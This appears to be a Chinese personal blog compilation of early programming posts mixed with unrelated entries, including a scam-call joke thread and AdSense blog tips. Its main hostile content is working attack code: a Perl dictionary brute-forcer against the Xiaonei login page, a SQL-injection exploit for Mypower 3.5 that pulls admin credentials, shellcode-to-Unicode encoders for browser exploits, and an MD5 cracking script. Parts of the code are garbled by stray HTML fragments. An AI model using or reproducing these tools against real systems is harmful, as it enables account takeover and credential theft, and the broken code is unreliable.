一个c语言写的小程序读取某文本文件两个特定字符串之间的字符

一个c语言写的小程序读取某文本文件两个特定字符串之间的字符,嗯写到另一个文件里。
前几天弄得好像没这样的函数,写的不好,就是玩玩。

#include "stdafx.h"
#include "stdio.h"
#include "windows.h"

int main(int argc, char* argv[])
{
FILE *fp,*fpout;
char ch; //读取字符
char infile[256];
char find[20]={'\0'};
char stop[20]={'\0'};
int flag=0;
int sflag=0;

/*
flag 状态
0 初始状态
1 查找开始状态
2 开始状态
sflag 状态
1 查找结束状态
2 结束状态

*/

int i=0;
int k=0;
memset(infile,0,201); //文件路径
memset(find,0,20);
memset(stop,0,20);

if(argc==1)
{
printf("Plz input the full file path...\n");
return 0;
}
if(strlen(argv[1])>255)
{
printf("The file path too long...\n");
return 0;
}
strcpy(infile,argv[1]);

fp=fopen(infile,"r");
if(NULL==fp)
{
printf("Open file failed!\n");
return 0;
}
fpout=fopen("D:\\test.txt","w+");
if(NULL==fpout)
{
printf("Open file failed!\n");
return 0;
}

ch=fgetc(fp);
while(ch!=EOF)
{
if(flag!=2&&ch=='1')
{
//printf("Find 1\n");
flag=1;
i=0;
}
///*给程序增加结束标志
if(flag==2&&ch=='C')
{
sflag=1;
k=0;
putchar(ch);
}
if(sflag==1)
{
if(k<18)
{
stop[k]=ch;
stop[k+1]='\0';
k++;
//printf("%s\n",stop);
if(!strncmp(stop,"stopflag",8))
{
sflag=2;
fclose(fp);
fclose(fpout);
return 0;
}
}
}
//*/
if(flag==1&&i<18)
{
//putchar(ch);
find[i]=ch;
find[i+1]='\0';
i++;
if(!strncmp(find,"startflag",9))
{
flag=2;
}
//else flag=0;
}
if(flag==2)
{
putchar(ch);
fputc(ch,fpout);
}
ch=fgetc(fp);
}
fclose(fp);
fclose(fpout);
return 0;
}

刚学Perl时写得几个程序(-)——校内网账号密码探测程序

校内网连个验证码都没有,所以我就写了个小东西尝试了下。这个也是我刚学perl时候写的。

单线程破解起来会很慢的。

some perl files writen when I learn perl.

#===================================================================================================================
#!/usr/bin/perl
# detectxn.pl
# For Detect Xiaonei
# By c4rp3nt3r c4rp3nt3r[4]gmail.com Just for fun
# If you wanna to detect sombody's account ,please use Dansnow...
#Thanks google.com,milw0rm.com,xfocus.net...
use POSIX;
use LWP::UserAgent;
use HTTP::Cookies;

if(@ARGV < style="line-height: normal; ">{
printf("The argc is wrong~\n");
exit;
}

my $target = "http://www.xiaonei.com/Login.do";
my ($user, $passdic) = ($ARGV[0], $ARGV[1],);
my $lwp = new LWP::UserAgent or die;

Usage();
try_login($user,$passdic) or die "[-] login failed with $user and dic:$passdic\n";

sub try_login
{
my ($user, $passdic) = @_;
my $okflag = 0;
open(FH,"<$passdic");
while() #readdicfile
{
chomp;
my $pwd=$_;
printf("Now try ...".$user."~~~~".$pwd);
my $res = $lwp->post( $target,
['email' => $user,
'password' => $pwd,
'origURL' => "http://www.xiaonei.com/SysHome.do",
]
);
#To judge if the login is sucess then do something $res->content eq “The URL has moved here
#my $myres=$res->content; #for test
#printf($myres) ; #for test
#if($myres=~/http:\/\/home.xiaonei.com\/Home.do"/) #To judge if the login is sucess
#I xchanged two above by the following one
if($res->status_line =~ /^302/)
{
$okflag = 1;
printf("\n++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n");
print("[+]".$res->status_line."\nlogin OK with : $user~~~~$pwd \n");
printf("\n++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n");
last;
}
else
{
printf("[-]".$res->status_line." login failed!\n");
}
}
close(FH);
if($okflag == 0)
{
printf("\n------------------------------------------------------------------------\n");
printf("[-]login failed with $user and dicfile $passdic...");
printf("\n------------------------------------------------------------------------\n");
}
return 1;
}

sub Usage
{
print("\n");
print("[+] Usage: $0 \n");
print("[+] Coded by Alone\n");
print("\n");
}
#===================================================================================================================



刚学Perl时写的几个程序(二)——SQL Injection Mypower 3.5 Exploit

说明一下alolinux也是我的一ID。

#===========================================
#!/usr/bin/perl
# dlexp.pl
# For educational purpose
# By c4rp3nt3r[4]gmail.com Just for fun
# Thanks google.com,milw0rm.com

use POSIX;
use LWP::UserAgent;
use HTTP::Cookies;

if(@ARGV < style="line-height: normal; ">{
printf("The argc is wrong~\n");
exit;
}

my $target = ($ARGV[0] =~ /^http:\/\//) ? $ARGV[0]:'http://'.$ARGV[0];
my $lwp = new LWP::UserAgent or die;
#my $cookie_jar = new HTTP::Cookies or die;
#$lwp->cookie_jar( $cookie_jar );
Usage();
print "\nMypower 3.5 Exploit By Alone\n";
my $sql = 'Article_Print.asp?ArticleID=-1 union (select top 1 1,1,username,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin)';
$target .= $sql;
#printf($target."\n");
my $res = $lwp->get($target);
my $answer = $res->content;

if($res->content =~ /\n");
print("[+] Coded by Alone\n");
print("\n");
}
# Mypower 3.5 Exploit By Alone
#===========================================

收集两个将shllcode转化为浏览器能识别的Unicode形式的perl代码

#!/usr/bin/perl
# win32_downloadexec - URL=http://xxxxxx/c.exe Size=392 Encoder=PexFnstenvSub http://metasploit.com

$sco=#Input your shellcode here;

my $len=length($sco);
my @temp;
my $i=0;
my $sco_text;
while($i<$len)
{
$temp[$i]=sprintf("%.2x",ord(substr($sco,$i,1)));
$i++;
}
$i=0;
while($i<$len)
{
if($i%2!=0)
{
$sco_text.='%u'.$temp[$i].$temp[$i-1];
}
$i++;
}
print "The Result of Unicode Shellcode Is:";
print "\n\n-----------------Start--------------------\n\n";
print $sco_text;
print "\n\n-----------------End----------------------\n\n";
print "Output > sc.txt";

open(FILE, "> sc.txt");
#*STDOUT = *MYOUT;

print FILE "The Result of Unicode Shellcode Is:";
print FILE "\n\n-----------------Start--------------------\n\n";
print FILE $sco_text;
print FILE "\n\n-----------------End----------------------\n\n";
close(FILE);
# -EOF-

#--------------------------------------------------------------------------------
#!/usr/bin/perl

$sco=#Input your shellcode here;

$sco=convert_sco($sco);

print "The Result of Unicode Shellcode Is:";
print "\n\n-----------------Start--------------------\n\n";
print $sco;
print "\n\n-----------------End----------------------\n\n";
print "Output > sc.txt";

open(FILE, "> sc.txt");
#*STDOUT = *MYOUT;

print FILE "The Result of Unicode Shellcode Is:";
print FILE "\n\n-----------------Start--------------------\n\n";
print FILE $sco;
print FILE "\n\n-----------------End----------------------\n\n";
close(FILE);

#

sub convert_sco {
my $data = shift;
my $mode = shift() || 'LE';
my $code = '';

my $idx = 0;

if (length($data) % 2 != 0) {
$data .= substr($data, -1, 1);
}

while ($idx < style="line-height: normal; "> my $c1 = ord(substr($data, $idx, 1));
my $c2 = ord(substr($data, $idx+1, 1));
if ($mode eq 'LE') {
$code .= sprintf('%%u%.2x%.2x', $c2, $c1);
} else {
$code .= sprintf('%%u%.2x%.2x', $c1, $c2);
}
$idx += 2;
}

return $code;
}

perl 写MD5 Cracker 读取www.milw0rm.com破解md5

MD5 Cracker 读取www.milw0rm.com破解md5
2009-03-21 22:43
#!/usr/bin/perl
# cmd5.pl
# By c4rp3nt3r c4rp3nt3r[at]gmail.com Just for fun
#

use POSIX;
use LWP::UserAgent;

if(@ARGV < lwp =" new">\n");
print("[+] Coded by c4rp3nt3r http://hi.baidu.com/c4rp3nt3r\n");
print("\n");

my $url = 'http://www.milw0rm.com/cracker/search.php';
my $Md5pass = $ARGV[0];
#printf "$Md5pass";

my $res = $lwp->post($url,
['hash' => $Md5pass,
'Submit' => 'Submit',
]
);
#my $answer = $res->content;
#print $answer;
if($res->content =~ /90>.*<[0-9a-zA-Z]/m) { $string = $&; #print($string); $string =~ s/90>md5//;
$string=~ /90>.*<[0-9a-zA-Z]/m; $matched = $&; $matched =~ s/90>//;
$matched =~ s/<\/TD>
#print($matched);

}

print "++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n";
print "[+] Hash : $Md5pass\n";
print "[+] PASS : $matched\n";
print "++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n";

# MD5 Cracker By c4rp3nt3r

卡巴斯基不能正常启动卸载修复的解决办法

卡巴文件损坏,启动不了,卸载不了,用其自带的工具修复也不行。

电脑不能正常注销重启和关闭,不想重装系统。经过我一下段时间的研究发现解决方法:

把如下键值清空

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows下的

AppInit_DLLs

然后把avp.exe改名后,重启就能卸载了。

爆笑!把骗子气晕,你帮我定个叉烧饭吧

今天终于收到骗子的短信了,说我的建行卡在天河城消费9000元,要扣我的钱。提供了一个查询电话是85971106。大家能帮我打这个电话叫一个叉烧饭吗?

Pcc
我:打了,叫了一个叉烧饭,他说他不是快餐店,是建行×××中心

轻如燕
我:打了。麻烦人我来个叉烧、烧鹅饭。
对方吼着说:都说不是送餐电话喽!!!

凉背心
我:喂~~~,是建行×××中心吗?
对方:是呀!请问有什么事可以帮到你的
我:请帮我定个烧鹅饭
对方:~~~~~~(把电话挂了)

prince
建行×××中心吗?
是的,请问有什么事可以帮到你
我收到短信我天河城消费了9000元
请稍等……是的,现在我们要……
不会是诈骗集团吧
哦,你误会了,我们这里是……
那你帮我定个叉烧饭吧
什么?
没什么,就是突然想吃叉烧饭
%%?%?%**嘟??嘟??嘟??

pcc
我又打了一次啊:
我:你们搞什么啊,订的超烧饭怎么还不到?
对方:~~~~~~挂机

禁色
打通了
我:请问是建行×××中心吗?
对方:是的这里是建行×××中心
我:请问你们的地址在哪里啊?
对方:越秀区赵德路(没听清楚)XXX号
我:哦,那您能帮我定个叉烧饭吗?
对方:啊?
我:能不能去隔壁帮我订个叉烧饭?
~~~~~~~~~~挂了

prince
又打了一次
对方:你好
我: 我刚才定了一份叉烧可以改成腊味饭吗?
挂了~

fsyanzi
打通了,我说订餐,还没等我说完就挂了

浪淘纱干洗
刚打电话叫下午茶
我:这里是建行×××中心吗
电话:是,你~~~
我:请帮我送杯奶茶加曲奇到天河区go-vern-ment,多谢
电话:嘟~~~~~~

pcc
我又打了:
我:你这里是哪里啊?
对方:建行×××中心。
我:哦,我这里是消协,有人投诉你们接了电话不送叉烧饭去~
对方:~~~~~。

香雪
打通了:
接线员:喂?
我:请问是建行中心吗?
接线员犹豫了5秒钟后发出了声音:是的。
我:听说你们这里发钱?
接线员:发钱?发什么钱?
我:不知道啊,都在传说你们这里发钱啊。你们在哪里啊,告诉我地址。
接线员:你在哪里。
我:广州。
接线员:广州哪里?
我:不知道,他们说这里叫天湖。还有他们说你们的烧鹅饭很好吃。
接线员知道是玩弄了,于是:你等着我们给你送钱去。
我:好啊,等你个大骗子!
嘟。。。。。。。。

同事们已笑成一片。另:此电话肯定是小灵通。

番鬼荔枝
(拨通电话,没吭声)
对方:喂,你好~
(还是没吭声。。。)
对方:你好,这里是银行×××中心
问:哪家银行?
对方:建设银行
问:申请×××能免费送叉烧饭不?
对方:嘟~~~~

prince
你好,这里是建行×××中心
你好,请帮我找一下叉烧饭

prince
女:你好
我:恩,我挺好的
女:你好,我这里是建行×××中心
我:帮我找一下叉烧饭
(女的不说话,和旁边的人嘀咕了一下,把电话给了一男的)
男:你找谁?
我:我找叉烧饭
男:哦~~~你找叉烧饭有什么事吗
我:不告诉你
男:哦~~~~叉烧饭不在这里干了哦
我:他们两个都不在这里干了吗?
男:两个?
我:是啊,我朋友,一个叉烧,一个饭
男:(他竟然笑了~~~)是啊,他们都不在这里干了
我:为什么?
男:反正他们就是不干了
我:是不是你们太蠢,业绩不好,骗不到钱啊?
他就把电话挂了

丫丫怡
我:喂~~~,是建行×××中心吗?
对方:是呀!请问有什么事可以帮到你的
我:我刚刚收到信息说我的卡在沃尔玛消费了9000元。咋回事呀,我都没有去过沃尔玛呀。急死我了。
对方:那请您提供你的卡号。我在电脑里帮您查一下。
我:哪个卡号呀,我卡号好多,都不知道具体哪个了。
对方:就是你建行的×××号呀,
我:我建行×××好多张哦,
对方:半天没出声。。。。
我:小姐不好意思现在几点了,
对方:三点
我:我还没吃中饭呢,那你帮我叫个排骨饭吧,要加辣椒酱哦
对方:一直没出声。。。。过了将近30秒,说:“你们这样很无聊知道吗?
我:嘿嘿,再怎么无聊也不如你们无耻吧!
对方:不出声。。。。
我:等了将近有30秒,挂机了。。。。
是我自己挂机的哦,没劲。。我也没想好说啥,因为已经想笑了。

左手
我打通了,是男的接的:
男:你好
我:你好,建行中心么?
男:这里是建行中心,请问有什么可以帮到你?
我:我收到个信息,说我建行卡消费了9000块,我想问问是什么情况
男:你把你的账号报给我,我可以帮你查询
我:哦,那我消费这么多有积分吗?
男:有的
我:那能兑现么?
男:可以兑现的,请你把账号报给我
我:那给我兑现一盒叉烧饭吧
男:~~~~~~
我:要不双拼也成
那男的挂断电话,我笑趴了

香雪
一义工伙伴打了:
鱼:没有消费,为什么说我有消费?
对方:手机号和卡号?
鱼:那我重新申请一个卡可以吗?
对方:不可以
鱼:今年周老虎很热门哦,帮我订份周老虎肉吧。
对方:我们这里没有
鱼:那就帮我在天娱广场定个房间,贵的也成。
对方:好啊!
估计那边也做好应对措施了,不急不火。不过很多人打过去总是对他们一个警告,群众的智慧是无穷的~

流德滑
我打了。
她:喂~~你好(很温柔)
我:你是建行吗?
她.对,是的!
我:我昨天收到信息说我在天河城消费了5000块!怎么回事?
她:你在一个地方消费了我们建行都会短信通知你的!
我:没有去那里啊!
她:那你发你的姓名,电话,卡号,我帮你查询一下!
我:你这是建行不?(语气突然提高)
她:我这里是,不然跟你说那么多干嘛?(声音有点抖)
我:那好,叫你们负责人来!顺便帮我来个叉烧饭,加蛋!

mail2blogger――用电子邮箱写博客




所谓的mail2blogger,Google总是能开发出有创意的新产品,虽然现在大陆的GFW屏蔽了大陆地区网民对blogger的访问。

这次的屏蔽比较彻底,"铲草除根"似的,连后台都不能登录。
但是我们依旧可以用mail2blogger的方式来写博客。
只要想诉说就可以突破障碍。
方法就是在设置的“电子邮件和移动博客”标签下设置发布选项,填一个邮箱地址就可以了。
注意邮件的主题就是正文的标题,内容就是正文。

最新几个可以投放adsense广告的博客


版权声明:转载时请以超链接形式标明文章原始出处和作者信息及本声明

这是我的总结。欢迎大家补充。
1.flixya
www.flixya.com
英文的分享视频、照片日志的博客,可以绑定adsense账号。应为是英文的站所以单价比较高!
人气比较火!这个事很实用的!
可以获得100%广告收益。
2.Google的blogger
www.blogger.com
现在还在被GFW屏蔽中,目前大陆地区不能访问(可以用代理或vpn访问),blogger已经被Google收购,可以绑定和申请adsense,投放广告。
这个也适合做英文的博客来放广告。还可以绑定自己的域名呢。
可以获得100%广告收益。
3.和讯博客
blog.hexun.com
积分超过3000分可以设置自定义html代码,可用于投放adsense广告。人气不错!财经类的人是比较多!
可以获得100%广告收益。
4.天丰网
www.skyfa.com
这个也是可以投放adsense,也是跟帐号绑定。自动投放的。
这个可以获得80%收益,剩下20%归托管方。
5.博客大巴
www.blogbus.com
这个是目前阶段写博客最好的,(除了Google的blogger),用户可以自定义三个html标签,文章中可以html代码编辑没什么限制。非常自由。相比和讯要230000分才能添加js iframe等的html代码(每天最多只能10000分)是非常自由的,界面也非常简洁。我个人也做了一个,共享家园,欢迎来执政批评。

终于又能访问blogsopt.com了

万能的GFW,其实穿墙没那么难啊~~~O(∩_∩)O哈哈哈~自由了~~~

一睹了bing.com的芳容。大陆地区的网民真可怜啊~~~连Youtube都不能访问,最近更是屏蔽了一批不错的网站。真是很郁闷,好在现在自由了。